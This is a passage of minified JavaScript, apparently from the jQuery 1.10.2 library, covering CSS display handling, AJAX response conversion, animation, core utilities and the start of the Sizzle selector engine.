i}function x(e,t){return e=t||e,"none"===de.css(e,"display")||!de.contains(e.ownerDocument,e)}function E(e,t){for(var n,i,o,r=[],a=0,s=e.length;s>a;a++)i=e[a],i.style&&(r[a]=de._data(i,"olddisplay"),n=i.style.display,t?(r[a]||"none"!==n||(i.style.display=""),""===i.style.display&&x(i)&&(r[a]=de._data(i,"olddisplay",O(i.nodeName)))):r[a]||(o=x(i),(n&&"none"!==n||!o)&&de._data(i,"olddisplay",o?n:de.css(i,"display"))));for(a=0;s>a;a++)i=e[a],i.style&&(t&&"none"!==i.style.display&&""!==i.style.display||(i.style.display=t?r[a]||"":"none"));return e}function k(e,t,n){var i=wt.exec(t);return i?Math.max(0,i[1]-(n||0))+(i[2]||"px"):t}function F(e,t,n,i,o){for(var r=n===(i?"border":"content")?4:"width"===t?1:0,a=0;4>r;r+=2)"margin"===n&&(a+=de.css(e,n+xt[r],!0,o)),i?("content"===n&&(a-=de.css(e,"padding"+xt[r],!0,o)),"margin"!==n&&(a-=de.css(e,"border"+xt[r]+"Width",!0,o))):(a+=de.css(e,"padding"+xt[r],!0,o),"padding"!==n&&(a+=de.css(e,"border"+xt[r]+"Width",!0,o)));return a}function T(e,t,n){var i=!0,o="width"===t?e.offsetWidth:e.offsetHeight,r=dt(e),a=de.support.boxSizing&&"border-box"===de.css(e,"boxSizing",!1,r);if(0>=o||null==o){if(o=lt(e,t,r),(0>o||null==o)&&(o=e.style[t]),yt.test(o))return o;i=a&&(de.support.boxSizingReliable||o===e.style[t]),o=parseFloat(o)||0}return o+F(e,t,n||(a?"border":"content"),i,r)+"px"}function O(e){var t=Q,n=bt[e];return n||(n=_(e,t),"none"!==n&&n||(ut=(ut||de("<iframe frameborder='0' width='0' height='0'/>").css("cssText","display:block !important")).appendTo(t.documentElement),t=(ut[0].contentWindow||ut[0].contentDocument).document,t.write("<!doctype html><html><body>"),t.close(),n=_(e,t),ut.detach()),bt[e]=n),n}function _(e,t){var n=de(t.createElement(e)).appendTo(t.body),i=de.css(n[0],"display");return n.remove(),i}function A(e,t,n,i){var o;if(de.isArray(t))de.each(t,function(t,o){n||Ft.test(e)?i(e,o):A(e+"["+("object"==typeof o?t:"")+"]",o,n,i)});else if(n||"object"!==de.type(t))i(e,t);else for(o in t)A(e+"["+o+"]",t[o],n,i)}function N(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var i,o=0,r=t.toLowerCase().match(he)||[];if(de.isFunction(n))for(;i=r[o++];)"+"===i[0]?(i=i.slice(1)||"*",(e[i]=e[i]||[]).unshift(n)):(e[i]=e[i]||[]).push(n)}}function j(e,n,i,o){function r(c){var u;return a[c]=!0,de.each(e[c]||[],function(e,c){var d=c(n,i,o);return"string"!=typeof d||s||a[d]?s?!(u=d):t:(n.dataTypes.unshift(d),r(d),!1)}),u}var a={},s=e===Ut;return r(n.dataTypes[0])||!a["*"]&&r("*")}function D(e,n){var i,o,r=de.ajaxSettings.flatOptions||{};for(o in n)n[o]!==t&&((r[o]?e:i||(i={}))[o]=n[o]);return i&&de.extend(!0,e,i),e}function I(e,n,i){for(var o,r,a,s,c=e.contents,u=e.dataTypes;"*"===u[0];)u.shift(),r===t&&(r=e.mimeType||n.getResponseHeader("Content-Type"));if(r)for(s in c)if(c[s]&&c[s].test(r)){u.unshift(s);break}if(u[0]in i)a=u[0];else{for(s in i){if(!u[0]||e.converters[s+" "+u[0]]){a=s;break}o||(o=s)}a=a||o}return a?(a!==u[0]&&u.unshift(a),i[a]):t}function P(e,t,n,i){var o,r,a,s,c,u={},d=e.dataTypes.slice();if(d[1])for(a in e.converters)u[a.toLowerCase()]=e.converters[a];for(r=d.shift();r;)if(e.responseFields[r]&&(n[e.responseFields[r]]=t),!c&&i&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),c=r,r=d.shift())if("*"===r)r=c;else if("*"!==c&&c!==r){if(!(a=u[c+" "+r]||u["* "+r]))for(o in u)if(s=o.split(" "),s[1]===r&&(a=u[c+" "+s[0]]||u["* "+s[0]])){!0===a?a=u[o]:!0!==u[o]&&(r=s[0],d.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+c+" to "+r}}}return{state:"success",data:t}}function M(){try{return new e.XMLHttpRequest}catch(e){}}function R(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(e){}}function W(){return setTimeout(function(){Jt=t}),Jt=de.now()}function V(e,t,n){for(var i,o=(on[t]||[]).concat(on["*"]),r=0,a=o.length;a>r;r++)if(i=o[r].call(n,t,e))return i}function L(e,t,n){var i,o,r=0,a=nn.length,s=de.Deferred().always(function(){delete c.elem}),c=function(){if(o)return!1;for(var t=Jt||W(),n=Math.max(0,u.startTime+u.duration-t),i=n/u.duration||0,r=1-i,a=0,c=u.tweens.length;c>a;a++)u.tweens[a].run(r);return s.notifyWith(e,[u,r,n]),1>r&&c?n:(s.resolveWith(e,[u]),!1)},u=s.promise({elem:e,props:de.extend({},t),opts:de.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:Jt||W(),duration:n.duration,tweens:[],createTween:function(t,n){var i=de.Tween(e,u.opts,t,n,u.opts.specialEasing[t]||u.opts.easing);return u.tweens.push(i),i},stop:function(t){var n=0,i=t?u.tweens.length:0;if(o)return this;for(o=!0;i>n;n++)u.tweens[n].run(1);return t?s.resolveWith(e,[u,t]):s.rejectWith(e,[u,t]),this}}),d=u.props;for(H(d,u.opts.specialEasing);a>r;r++)if(i=nn[r].call(u,e,d,u.opts))return i;return de.map(d,V,u),de.isFunction(u.opts.start)&&u.opts.start.call(e,u),de.fx.timer(de.extend(c,{elem:e,anim:u,queue:u.opts.queue})),u.progress(u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always)}function H(e,t){var n,i,o,r,a;for(n in e)if(i=de.camelCase(n),o=t[i],r=e[n],de.isArray(r)&&(o=r[1],r=e[n]=r[0]),n!==i&&(e[i]=r,delete e[n]),(a=de.cssHooks[i])&&"expand"in a){r=a.expand(r),delete e[i];for(n in r)n in e||(e[n]=r[n],t[n]=o)}else t[i]=o}function B(e,t,n){var i,o,r,a,s,c,u=this,d={},l=e.style,h=e.nodeType&&x(e),p=de._data(e,"fxshow");n.queue||(s=de._queueHooks(e,"fx"),null==s.unqueued&&(s.unqueued=0,c=s.empty.fire,s.empty.fire=function(){s.unqueued||c()}),s.unqueued++,u.always(function(){u.always(function(){s.unqueued--,de.queue(e,"fx").length||s.empty.fire()})})),1===e.nodeType&&("height"in t||"width"in t)&&(n.overflow=[l.overflow,l.overflowX,l.overflowY],"inline"===de.css(e,"display")&&"none"===de.css(e,"float")&&(de.support.inlineBlockNeedsLayout&&"inline"!==O(e.nodeName)?l.zoom=1:l.display="inline-block")),n.overflow&&(l.overflow="hidden",de.support.shrinkWrapBlocks||u.always(function(){l.overflow=n.overflow[0],l.overflowX=n.overflow[1],l.overflowY=n.overflow[2]}));for(i in t)if(o=t[i],Zt.exec(o)){if(delete t[i],r=r||"toggle"===o,o===(h?"hide":"show"))continue;d[i]=p&&p[i]||de.style(e,i)}if(!de.isEmptyObject(d)){p?"hidden"in p&&(h=p.hidden):p=de._data(e,"fxshow",{}),r&&(p.hidden=!h),h?de(e).show():u.done(function(){de(e).hide()}),u.done(function(){var t;de._removeData(e,"fxshow");for(t in d)de.style(e,t,d[t])});for(i in d)a=V(h?p[i]:0,i,u),i in p||(p[i]=a.start,h&&(a.end=a.start,a.start="width"===i||"height"===i?1:0))}}function U(e,t,n,i,o){return new U.prototype.init(e,t,n,i,o)}function q(e,t){var n,i={height:e},o=0;for(t=t?1:0;4>o;o+=2-t)n=xt[o],i["margin"+n]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function $(e){return de.isWindow(e)?e:9===e.nodeType&&(e.defaultView||e.parentWindow)}var z,X,G=typeof t,Y=e.location,Q=e.document,J=Q.documentElement,K=e.jQuery,Z=e.$,ee={},te=[],ne="1.10.2",ie=te.concat,oe=te.push,re=te.slice,ae=te.indexOf,se=ee.toString,ce=ee.hasOwnProperty,ue=ne.trim,de=function(e,t){return new de.fn.init(e,t,X)},le=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,he=/\S+/g,pe=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,fe=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,me=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,ge=/^[\],:{}\s]*$/,we=/(?:^|:|,)(?:\s*\[)+/g,ye=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,ve=/"[^"\\\r\n]*"|true|false|null|-?(?:\d+\.|)\d+(?:[eE][+-]?\d+|)/g,be=/^-ms-/,Ce=/-([\da-z])/gi,Se=function(e,t){return t.toUpperCase()},xe=function(e){(Q.addEventListener||"load"===e.type||"complete"===Q.readyState)&&(Ee(),de.ready())},Ee=function(){Q.addEventListener?(Q.removeEventListener("DOMContentLoaded",xe,!1),e.removeEventListener("load",xe,!1)):(Q.detachEvent("onreadystatechange",xe),e.detachEvent("onload",xe))};de.fn=de.prototype={jquery:ne,constructor:de,init:function(e,n,i){var o,r;if(!e)return this;if("string"==typeof e){if(!(o="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:fe.exec(e))||!o[1]&&n)return!n||n.jquery?(n||i).find(e):this.constructor(n).find(e);if(o[1]){if(n=n instanceof de?n[0]:n,de.merge(this,de.parseHTML(o[1],n&&n.nodeType?n.ownerDocument||n:Q,!0)),me.test(o[1])&&de.isPlainObject(n))for(o in n)de.isFunction(this[o])?this[o](n[o]):this.attr(o,n[o]);return this}if((r=Q.getElementById(o[2]))&&r.parentNode){if(r.id!==o[2])return i.find(e);this.length=1,this[0]=r}return this.context=Q,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):de.isFunction(e)?i.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),de.makeArray(e,this))},selector:"",length:0,toArray:function(){return re.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length+e]:this[e]},pushStack:function(e){var t=de.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return de.each(this,e,t)},ready:function(e){return de.ready.promise().done(e),this},slice:function(){return this.pushStack(re.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(de.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:oe,sort:[].sort,splice:[].splice},de.fn.init.prototype=de.fn,de.extend=de.fn.extend=function(){var e,n,i,o,r,a,s=arguments[0]||{},c=1,u=arguments.length,d=!1;for("boolean"==typeof s&&(d=s,s=arguments[1]||{},c=2),"object"==typeof s||de.isFunction(s)||(s={}),u===c&&(s=this,--c);u>c;c++)if(null!=(r=arguments[c]))for(o in r)e=s[o],i=r[o],s!==i&&(d&&i&&(de.isPlainObject(i)||(n=de.isArray(i)))?(n?(n=!1,a=e&&de.isArray(e)?e:[]):a=e&&de.isPlainObject(e)?e:{},s[o]=de.extend(d,a,i)):i!==t&&(s[o]=i));return s},de.extend({expando:"jQuery"+(ne+Math.random()).replace(/\D/g,""),noConflict:function(t){return e.$===de&&(e.$=Z),t&&e.jQuery===de&&(e.jQuery=K),de},isReady:!1,readyWait:1,holdReady:function(e){e?de.readyWait++:de.ready(!0)},ready:function(e){if(!0===e?!--de.readyWait:!de.isReady){if(!Q.body)return setTimeout(de.ready);de.isReady=!0,!0!==e&&--de.readyWait>0||(z.resolveWith(Q,[de]),de.fn.trigger&&de(Q).trigger("ready").off("ready"))}},isFunction:function(e){return"function"===de.type(e)},isArray:Array.isArray||function(e){return"array"===de.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?ee[se.call(e)]||"object":typeof e},isPlainObject:function(e){var n;if(!e||"object"!==de.type(e)||e.nodeType||de.isWindow(e))return!1;try{if(e.constructor&&!ce.call(e,"constructor")&&!ce.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(e){return!1}if(de.support.ownLast)for(n in e)return ce.call(e,n);for(n in e);return n===t||ce.call(e,n)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||Q;var i=me.exec(e),o=!n&&[];return i?[t.createElement(i[1])]:(i=de.buildFragment([e],t,o),o&&de(o).remove(),de.merge([],i.childNodes))},parseJSON:function(n){return e.JSON&&e.JSON.parse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=de.trim(n))&&ge.test(n.replace(ye,"@").replace(ve,"]").replace(we,""))?Function("return "+n)():(de.error("Invalid JSON: "+n),t)},parseXML:function(n){var i,o;if(!n||"string"!=typeof n)return null;try{e.DOMParser?(o=new DOMParser,i=o.parseFromString(n,"text/xml")):(i=new ActiveXObject("Microsoft.XMLDOM"),i.async="false",i.loadXML(n))}catch(e){i=t}return i&&i.documentElement&&!i.getElementsByTagName("parsererror").length||de.error("Invalid XML: "+n),i},noop:function(){},globalEval:function(t){t&&de.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(be,"ms-").replace(Ce,Se)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,i){var o=0,r=e.length,a=n(e);if(i){if(a)for(;r>o&&!1!==t.apply(e[o],i);o++);else for(o in e)if(!1===t.apply(e[o],i))break}else if(a)for(;r>o&&!1!==t.call(e[o],o,e[o]);o++);else for(o in e)if(!1===t.call(e[o],o,e[o]))break;return e},trim:ue&&!ue.call("\ufeff\xa0")?function(e){return null==e?"":ue.call(e)}:function(e){return null==e?"":(e+"").replace(pe,"")},makeArray:function(e,t){var i=t||[];return null!=e&&(n(Object(e))?de.merge(i,"string"==typeof e?[e]:e):oe.call(i,e)),i},inArray:function(e,t,n){var i;if(t){if(ae)return ae.call(t,e,n);for(i=t.length,n=n?0>n?Math.max(0,i+n):n:0;i>n;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n){var i=n.length,o=e.length,r=0;if("number"==typeof i)for(;i>r;r++)e[o++]=n[r];else for(;n[r]!==t;)e[o++]=n[r++];return e.length=o,e},grep:function(e,t,n){var i,o=[],r=0,a=e.length;for(n=!!n;a>r;r++)i=!!t(e[r],r),n!==i&&o.push(e[r]);return o},map:function(e,t,i){var o,r=0,a=e.length,s=n(e),c=[];if(s)for(;a>r;r++)null!=(o=t(e[r],r,i))&&(c[c.length]=o);else for(r in e)null!=(o=t(e[r],r,i))&&(c[c.length]=o);return ie.apply([],c)},guid:1,proxy:function(e,n){var i,o,r;return"string"==typeof n&&(r=e[n],n=e,e=r),de.isFunction(e)?(i=re.call(arguments,2),o=function(){return e.apply(n||this,i.concat(re.call(arguments)))},o.guid=e.guid=e.guid||de.guid++,o):t},access:function(e,n,i,o,r,a,s){var c=0,u=e.length,d=null==i;if("object"===de.type(i)){r=!0;for(c in i)de.access(e,n,c,i[c],!0,a,s)}else if(o!==t&&(r=!0,de.isFunction(o)||(s=!0),d&&(s?(n.call(e,o),n=null):(d=n,n=function(e,t,n){return d.call(de(e),n)})),n))for(;u>c;c++)n(e[c],i,s?o:o.call(e[c],c,n(e[c],i)));return r?e:d?n.call(e):u?n(e[0],i):a},now:function(){return(new Date).getTime()},swap:function(e,t,n,i){var o,r,a={};for(r in t)a[r]=e.style[r],e.style[r]=t[r];o=n.apply(e,i||[]);for(r in t)e.style[r]=a[r];return o}}),de.ready.promise=function(t){if(!z)if(z=de.Deferred(),"complete"===Q.readyState)setTimeout(de.ready);else if(Q.addEventListener)Q.addEventListener("DOMContentLoaded",xe,!1),e.addEventListener("load",xe,!1);else{Q.attachEvent("onreadystatechange",xe),e.attachEvent("onload",xe);var n=!1;try{n=null==e.frameElement&&Q.documentElement}catch(e){}n&&n.doScroll&&function e(){if(!de.isReady){try{n.doScroll("left")}catch(t){return setTimeout(e,50)}Ee(),de.ready()}}()}return z.promise(t)},de.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){ee["[object "+t+"]"]=t.toLowerCase()}),X=de(Q),function(e,t){function n(e,t,n,i){var o,r,a,s,c,u,d,l,f,m;if((t?t.ownerDocument||t:L)!==j&&N(t),t=t||j,n=n||[],!e||"string"!=typeof e)return n;if(1!==(s=t.nodeType)&&9!==s)return[];if(I&&!i){if(o=ve.exec(e))if(a=o[1]){if(9===s){if(!(r=t.getElementById(a))||!r.parentNode)return n;if(r.id===a)return n.push(r),n}else if(t.ownerDocument&&(r=t.ownerDocument.getElementById(a))&&W(t,r)&&r.id===a)return n.push(r),n}else{if(o[2])return ee.apply(n,t.getElementsByTagName(e)),n;if((a=o[3])&&x.getElementsByClassName&&t.getElementsByClassName)return ee.apply(n,t.getElementsByClassName(a)),n}if(x.qsa&&(!P||!P.test(e))){if(l=d=V,f=t,m=9===s&&e,1===s&&"object"!==t.nodeName.toLowerCase()){for(u=h(e),(d=t.getAttribute("id"))?l=d.replace(Se,"\\$&"):t.setAttribute("id",l),l="[id='"+l+"'] ",c=u.length;c--;)u[c]=l+p(u[c]);f=pe.test(e)&&t.parentNode||t,m=u.join(",")}if(m)try{return ee.apply(n,f.querySelectorAll(m)),n}catch(e){}finally{d||t.removeAttribute("id")}}}return C(e.replace(ue,"$1"),t,n,i)}function i(){function e(n,i){return t.push(n+=" ")>k.cacheLength&&delete e[t.shift()],e[n]=i}var t=[];return e}function o(e){return e[V]=!0,e}function r(e){var t=j.createElement("div");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function a(e,t){for(var n=e.split("|"),i=e.length;i--;)k.attrHandle[n[i]]=t}function s(e,t){var n=t&&e,i=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||Y)-(~e.sourceIndex||Y);if(i)return i;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function c(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function u(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function d(e){return o(function(t){return t=+t,o(function(n,i){for(var o,r=e([],n.length,t),a=r.length;a--;)n[o=r[a]]&&(n[o]=!(i[o]=n[o]))})})}function l(){}function h(e,t){var i,o,r,a,s,c,u,d=q[e+" "];if(d)return t?0:d.slice(0);for(s=e,c=[],u=k.preFilter;s;){(!i||(o=le.exec(s)))&&(o&&(s=s.slice(o[0].length)||s),c.push(r=[])),i=!1,(o=he.exec(s))&&(i=o.shift(),r.push({value:i,type:o[0].replace(ue," ")}),s=s.slice(i.length));for(a in k.filter)!(o=we[a].exec(s))||u[a]&&!(o=u[a](o))||(i=o.shift(),r.push({value:i,type:a,matches:o}),s=s.slice(i.length));if(!i)break}return t?s.length:s?n.error(e):q(e,c).slice(0)}function p(e){for(var t=0,n=e.length,i="";n>t;t++)i+=e[t].value;return i}function f(e,t,n){var i=t.dir,o=n&&"parentNode"===i,r=B++;return t.first?function(t,n,r){for(;t=t[i];)if(1===t.nodeType||o)return e(t,n,r)}:function(t,n,a){var s,c,u,d=H+" "+r;if(a){for(;t=t[i];)if((1===t.nodeType||o)&&e(t,n,a))return!0}else for(;t=t[i];)if(1===t.nodeType||o)if(u=t[V]||(t[V]={}),(c=u[i])&&c[0]===d){if(!0===(s=c[1])||s===E)return!0===s}else if(c=u[i]=[d],c[1]=e(t,n,a)||E,!0===c[1])return!0}}function m(e){return e.length>1?function(t,n,i){for(var o=e.length;o--;)if(!e[o](t,n,i))return!1;return!0}:e[0]}function g(e,t,n,i,o){for(var r,a=[],s=0,c=e.length,u=null!=t;c>s;s++)(r=e[s])&&(!n||n(r,i,o))&&(a.push(r),u&&t.push(s));return a}function w(e,t,n,i,r,a){return i&&!i[V]&&(i=w(i)),r&&!r[V]&&(r=w(r,a)),o(function(o,a,s,c){var u,d,l,h=[],p=[],f=a.length,m=o||b(t||"*",s.nodeType?[s]:s,[]),w=!e||!o&&t?m:g(m,h,e,s,c),y=n?r||(o?e:f||i)?[]:a:w;if(n&&n(w,y,s,c),i)for(u=g(y,p),i(u,[],s,c),d=u.length;d--;)(l=u[d])&&(y[p[d]]=!(w[p[d]]=l));if(o){if(r||e){if(r){for(u=[],d=y.length;d--;)(l=y[d])&&u.push(w[d]=l);r(null,y=[],u,c)}for(d=y.length;d--;)(l=y[d])&&(u=r?ne.call(o,l):h[d])>-1&&(o[u]=!(a[u]=l))}}else y=g(y===a?y.splice(f,y.length):y),r?r(null,a,y,c):ee.apply(a,y)})}function y(e){for(var t,n,i,o=e.length,r=k.relative[e[0].type],a=r||k.relative[" "],s=r?1:0,c=f(function(e){return e===t},a,!0),u=f(function(e){return ne.call(t,e)>-1},a,!0),d=[function(e,n,i){return!r&&(i||n!==_)||((t=n).nodeType?c(e,n,i):u(e,n,i))}];o>s;s++)if(n=k.relative[e[s].type])d=[f(m(d),n)];else{if(n=k.filter[e[s].type].apply(null,e[s].matches),n[V]){for(i=++s;o>i&&!k.relative[e[i].type];i++);return w(s>1&&m(d),s>1&&p(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(ue,"$1"),n,i>s&&y(e.slice(s,i)),o>i&&y(e=e.slice(i)),o>i&&p(e))}d.push(n)}return m(d)}function v(e,t){var i=0,r=t.length>0,a=e.length>0,s=function(o,s,c,u,d){var l,h,p,f=[],m=0,w="0",y=o&&[],v=null!=d,b=_,C=o||a&&k.find.TAG("*",d&&s.parentNode||s),S=H+=null==b?1:Math.random()||.1;for(v&&(_=s!==j&&s,E=i);null!=(l=C[w]);w++){if(a&&l){for(h=0;p=e[h++];)if(p(l,s,c)){u.push(l);break}v&&(H=S,E=++i)}r&&((l=!p&&l)&&m--,o&&y.push(l))}if(m+=w,r&&w!==m){for(h=0;p=t[h++];)p(y,f,s,c);if(o){if(m>0)for(;w--;)y[w]||f[w]||(f[w]=K.call(u));f=g(f)}ee.apply(u,f),v&&!o&&f.length>0&&m+t.length>1&&n.uniqueSort(u)}return v&&(H=S,_=b),y};return r?o(s):s}function b(e,t,i){for(var o=0,r=t.length;r>o;o++)n(e,t[o],i);return i}function C(e,t,n,i){var o,r,a,s,c,u=h(e);if(!i&&1===u.length){if(r=u[0]=u[0].slice(0),r.length>2&&"ID"===(a=r[0]).type&&x.getById&&9===t.nodeType&&I&&k.relative[r[1].type]){if(!(t=(k.find.ID(a.matches[0].replace(xe,Ee),t)||[])[0]))return n;e=e.slice(r.shift().value.length)}for(o=we.needsContext.test(e)?0:r.length;o--&&(a=r[o],!k.relative[s=a.type]);)if((c=k.find[s])&&(i=c(a.matches[0].replace(xe,Ee),pe.test(r[0].type)&&t.parentNode||t))){if(r.splice(o,1),!(e=i.length&&p(r)))return ee.apply(n,i),n;break}}return O(e,u)(i,t,!I,n,pe.test(e)),n}var S,x,E,k,F,T,O,_,A,N,j,D,I,P,M,R,W,V="sizzle"+-new Date,L=e.document,H=0,B=0,U=i(),q=i(),$=i(),z=!1,X=function(e,t){return e===t?(z=!0,0):0},G=typeof t,Y=1<<31,Q={}.hasOwnProperty,J=[],K=J.pop,Z=J.push,ee=J.push,te=J.slice,ne=J.indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(this[t]===e)return t;return-1},ie="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",oe="[\\x20\\t\\r\\n\\f]",re="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",ae=re.replace("w","w#"),se="\\["+oe+"*("+re+")"+oe+"*(?:([*^$|!~]?=)"+oe+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+ae+")|)|)"+oe+"*\\]",ce=":("+re+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+se.replace(3,8)+")*)|.*)\\)|)",ue=RegExp("^"+oe+"+|((?:^|[^\\\\])(?:\\\\.)*)"+oe+"+$","g"),le=RegExp("^"+oe+"*,"+oe+"*"),he=RegExp("^"+oe+"*([>+~]|"+oe+")"+oe+"*"),pe=RegExp(oe+"*[+~]"),fe=RegExp("="+oe+"*([^\\]'\"]*)"+oe+"*\\]","g"),me=RegExp(ce),ge=RegExp("^"+ae+"$"),we={ID:RegExp("^#("+re+")"),CLASS:RegExp("^\\.("+re+")"),TAG:RegExp("^("+re.replace("w","w*")+")"),ATTR:RegExp("^"+se),PSEUDO:RegExp("^"+ce),CHILD:RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+oe+"*(even|odd|(([+-]|)(\\d*)n|)"+oe+"*(?:([+-]|)"+oe+"*(\\d+)|))"+oe+"*\\)|)","i"),bool:RegExp("^(?:"+ie+")$","i"),needsContext:RegExp("^"+oe+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+oe+"*((?:-\\d)?\\d*)"+oe+"*\\)|)(?=[^-]|$)","i")},ye=/^[^{]+\{\s*\[native \w/,ve=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,be=/^(?:input|select|textarea|button)$/i,Ce=/^h\d$/i,Se=/'|\\/g,xe=RegExp("\\\\([\\da-f]{1,6}"+oe+"?|("+oe+")|.)","ig"),Ee=function(e,t,n){var i="0x"+t-65536;return i!==i||n?t:0>i?String.fromCharCode(i+65536):String.fromCharCode(55296|i>>10,56320|1023&i)};try{ee.apply(J=te.call(L.childNodes),L.childNodes),J[L.childNodes.length].nodeType}catch(e){ee={apply:J.length?function(e,t){Z.apply(e,te.call(t))}:function(e,t){for(var n=e.length,i=0;e[n++]=t[i++];);e.length=n-1}}}T=n.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},x=n.support={},N=n.setDocument=function(e){var n=e?e.ownerDocument||e:L,i=n.defaultView;return n!==j&&9===n.nodeType&&n.documentElement?(j=n,D=n.documentElement,I=!T(n),i&&i.attachEvent&&i!==i.top&&i.attachEvent("onbeforeunload",function(){N()}),x.attributes=r(function(e){return e.className="i",!e.getAttribute("className")}),x.getElementsByTagName=r(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),x.getElementsByClassName=r(function(e){return e.innerHTML="<div class='a'></div><div class='a i'></div>",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),x.getById=r(function(e){return D.appendChild(e).id=V,!n.getElementsByName||!n.getElementsByName(V).length}),x.getById?(k.find.ID=function(e,t){if(typeof t.getElementById!==G&&I){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},k.filter.ID=function(e){var t=e.replace(xe,Ee);return function(e){return e.getAttribute("id")===t}}):(delete k.find.ID,k.filter.ID=function(e){var t=e.replace(xe,Ee);return function(e){var n=typeof e.getAttributeNode!==G&&e.getAttributeNode("id");return n&&n.value===t}}),k.find.TAG=x.getElementsByTagName?function(e,n){return typeof n.getElementsByTagName!==G?n.getElementsByTagName(e):t}:function(e,t){var n,i=[],o=0,r=t.getElementsByTagName(e);if("*"===e){for(;n=r[o++];)1===n.nodeType&&i.push(n);return i}return r},k.find.CLASS=x.getElementsByClassName&&function(e,n){return typeof n.getElementsByClassName!==G&&I?n.getElementsByClassName(e):t},M=[],P=[],(x.qsa=ye.test(n.querySelectorAll))&&(r(function(e){e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[selected]").length||P.push("\\["+oe+"*(?:value|"+ie+")"),e.querySelectorAll(":checked").length||P.push(":checked")}),r(function(e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("t",""),e.querySelectorAll("[t^='']").length&&P.push("[*^$]="+oe+"*(?:''|\"\")"),e.querySelectorAll(":enabled").length||P.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),P.push(",.*:")})),(x.matchesSelector=ye.test(R=D.webkitMatchesSelector||D.mozMatchesSelector||D.oMatchesSelector||D.msMatchesSelector))&&r(function(e){x.disconnectedMatch=R.call(e,"div"),R.call(e,"[s!='']:x"),M.push("!=",ce)}),P=P.length&&RegExp(P.join("|")),M=M.length&&RegExp(M.join("|")),W=ye.test(D.contains)||D.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,i=t&&t.parentNode;return e===i||!(!i||1!==i.nodeType||!(n.contains?n.contains(i):e.compareDocumentPosition&&16&e.compareDocumentPosition(i)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},X=D.compareDocumentPosition?function(e,t){if(e===t)return z=!0,0;var i=t.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(t);return i?1&i||!x.sortDetached&&t.compareDocumentPosition(e)===i?e===n||W(L,e)?-1:t===n||W(L,t)?1:A?ne.call(A,e)-ne.call(A,t):0:4&i?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var i,o=0,r=e.parentNode,a=t.parentNode,c=[e],u=[t];if(e===t)return z=!0,0;if(!r||!a)return e===n?-1:t===n?1:r?-1:a?1:A?ne.call(A,e)-ne.call(A,t):0;if(r===a)return s(e,t);for(i=e;i=i.parentNode;)c.unshift(i);for(i=t;i=i.parentNode;)u.unshift(i);for(;c[o]===u[o];)o++;return o?s(c[o],u[o]):c[o]===L?-1:u[o]===L?1:0},n):j},n.matches=function(e,t){return 